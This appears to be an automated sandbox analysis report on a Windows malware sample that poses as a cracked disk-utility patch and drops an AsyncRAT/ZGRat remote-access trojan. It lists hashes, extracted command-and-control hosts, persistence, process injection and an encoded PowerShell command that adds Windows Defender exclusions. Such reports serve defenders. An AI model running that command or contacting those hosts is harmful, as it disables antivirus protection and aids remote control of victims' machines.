Analysis
-
max time kernel
140s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
14-05-2024 09:32
Static task
static1
Behavioral task
behavioral1
Sample
a717a432c558f56c46709d6d3ec9837f.exe
Resource
win7-20240508-en
General
-
Target
a717a432c558f56c46709d6d3ec9837f.exe
-
Size
2.3MB
-
MD5
a717a432c558f56c46709d6d3ec9837f
-
SHA1
ceda052be2519383085089a41c422ce2b1400a46
-
SHA256
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186
-
SHA512
e859810a198b8b946581ed6197b1154856e736687dd593d383dc952a3afd597ed6b5a631a8e6b2228a425b809b772457e6e10e0ca6f68cd8f0a8cc637a81132c
-
SSDEEP
49152:T+GJaXbo4IKA2WN4M63n4dHzCJYU6Mm4/4w2RAObR8XlZrzyiko:TboxWN4UHzCJYCmX5w1ZXyik
Malware Config
Extracted
asyncrat
0.5.8
Default
5512.sytes.net:6606
5512.sytes.net:7707
5512.sytes.net:8808
95.211.208.153:6606
95.211.208.153:7707
95.211.208.153:8808
Llg9a02PERRO
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Detect ZGRat V1 34 IoCs
Processes:
resource yara_rule behavioral1/memory/2884-19-0x0000000004960000-0x0000000004B80000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-21-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-20-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-23-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-25-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-27-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-29-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-31-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-33-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-35-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-37-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-39-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-41-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-43-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-45-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-51-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-59-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-67-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-69-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-71-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-75-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-81-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-83-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-79-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-77-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-73-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-65-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-63-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-61-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-57-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-55-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-53-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-49-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 behavioral1/memory/2884-47-0x0000000004960000-0x0000000004B7A000-memory.dmp family_zgrat_v1 -
Executes dropped EXE 2 IoCs
Processes:
Dfzxuwcml.exehd.sentinel.pro.4.x-5.x-patch.exepid process 2884 Dfzxuwcml.exe 2128 hd.sentinel.pro.4.x-5.x-patch.exe -
Loads dropped DLL 2 IoCs
Processes:
a717a432c558f56c46709d6d3ec9837f.exepid process 2168 a717a432c558f56c46709d6d3ec9837f.exe 2168 a717a432c558f56c46709d6d3ec9837f.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Dfzxuwcml.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kpteiazy = "C:\\Users\\Admin\\AppData\\Roaming\\Kpteiazy.exe" Dfzxuwcml.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Dfzxuwcml.exedescription pid process target process PID 2884 set thread context of 2864 2884 Dfzxuwcml.exe AppLaunch.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exeDfzxuwcml.exeAppLaunch.exedescription pid process Token: SeDebugPrivilege 2444 powershell.exe Token: SeDebugPrivilege 2884 Dfzxuwcml.exe Token: SeDebugPrivilege 2884 Dfzxuwcml.exe Token: SeDebugPrivilege 2864 AppLaunch.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
a717a432c558f56c46709d6d3ec9837f.exeDfzxuwcml.exedescription pid process target process PID 2168 wrote to memory of 2444 2168 a717a432c558f56c46709d6d3ec9837f.exe powershell.exe PID 2168 wrote to memory of 2444 2168 a717a432c558f56c46709d6d3ec9837f.exe powershell.exe PID 2168 wrote to memory of 2444 2168 a717a432c558f56c46709d6d3ec9837f.exe powershell.exe PID 2168 wrote to memory of 2444 2168 a717a432c558f56c46709d6d3ec9837f.exe powershell.exe PID 2168 wrote to memory of 2884 2168 a717a432c558f56c46709d6d3ec9837f.exe Dfzxuwcml.exe PID 2168 wrote to memory of 2884 2168 a717a432c558f56c46709d6d3ec9837f.exe Dfzxuwcml.exe PID 2168 wrote to memory of 2884 2168 a717a432c558f56c46709d6d3ec9837f.exe Dfzxuwcml.exe PID 2168 wrote to memory of 2884 2168 a717a432c558f56c46709d6d3ec9837f.exe Dfzxuwcml.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2168 wrote to memory of 2128 2168 a717a432c558f56c46709d6d3ec9837f.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe PID 2884 wrote to memory of 2864 2884 Dfzxuwcml.exe AppLaunch.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a717a432c558f56c46709d6d3ec9837f.exe"C:\Users\Admin\AppData\Local\Temp\a717a432c558f56c46709d6d3ec9837f.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAawBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZwB4ACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Cab45E8.tmpFilesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\Local\Temp\Tar59F7.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
\Users\Admin\AppData\Local\Dfzxuwcml.exeFilesize
2.2MB
MD5577b8f4cd65df6e3cd42d7d37c7917cf
SHA15033814e5aade04682bf7cb7fca3e32c46c5512a
SHA256d4360ef0464f7620fe0e3d5185adcdc0781aacfe23510d2c6c2e85c1095c8948
SHA512a42dab76abe41e53d7eee1ff3cec3092b26e1a05bdd6c91e8f12e35f6f14fc36df5ef918d0a2818d9f549db1e8ace169ff8ed3f441253a9a27b89c1ec816ff9d
-
\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exeFilesize
85KB
MD557824abbb9afe394c8a17a410e60c6fd
SHA1cdb3fe63c22e7d93d4a47bdb966b09f1b478f19f
SHA256becb4e1eaa4fbd915241f1138e2ed7b9833dc1cf66d6da25f9fac1a3e317c3ee
SHA5128b4e82437d6a30e73b65d0abc41b68d8420454622efd43d8d874ecee7a9251f36555d4c35dd13f886250948df1b9606ee61d0bcb2c8abb748b316dadff539c3d
-
memory/2864-4916-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/2884-67-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-81-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-25-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-27-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-29-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-31-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-33-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-35-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-37-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-39-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-41-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-43-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-45-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-51-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-59-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-20-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-69-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-71-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-75-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-23-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-83-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-4901-0x0000000004510000-0x000000000455C000-memory.dmpFilesize
304KB
-
memory/2884-4900-0x0000000002350000-0x00000000023AC000-memory.dmpFilesize
368KB
-
memory/2884-79-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-77-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-73-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-65-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-63-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-61-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-57-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-55-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-53-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-49-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-47-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-4902-0x00000000053C0000-0x0000000005414000-memory.dmpFilesize
336KB
-
memory/2884-21-0x0000000004960000-0x0000000004B7A000-memory.dmpFilesize
2.1MB
-
memory/2884-19-0x0000000004960000-0x0000000004B80000-memory.dmpFilesize
2.1MB
-
memory/2884-18-0x00000000002B0000-0x00000000004E2000-memory.dmpFilesize
2.2MB